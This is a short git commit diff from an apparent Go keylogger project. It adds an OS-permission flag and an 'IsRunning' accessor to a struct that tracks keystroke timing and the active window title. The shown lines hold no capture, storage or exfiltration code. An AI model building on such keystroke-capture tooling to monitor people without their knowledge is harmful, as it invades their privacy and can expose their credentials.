This commit is contained in:
KingKDot
2026-06-03 21:04:14 -05:00
parent a8624991b0
commit cba42b236f
23 changed files with 1270 additions and 166 deletions
@@ -33,6 +33,14 @@ type Keylogger struct {
lastKeyTime time.Time
lineStarted bool
currentWindowTitle string
permissionGranted bool // set to true once OS permission has been confirmed
}
// IsRunning returns whether the keylogger capture loop is active.
func (k *Keylogger) IsRunning() bool {
k.mu.Lock()
defer k.mu.Unlock()
return k.running
}
func New() *Keylogger {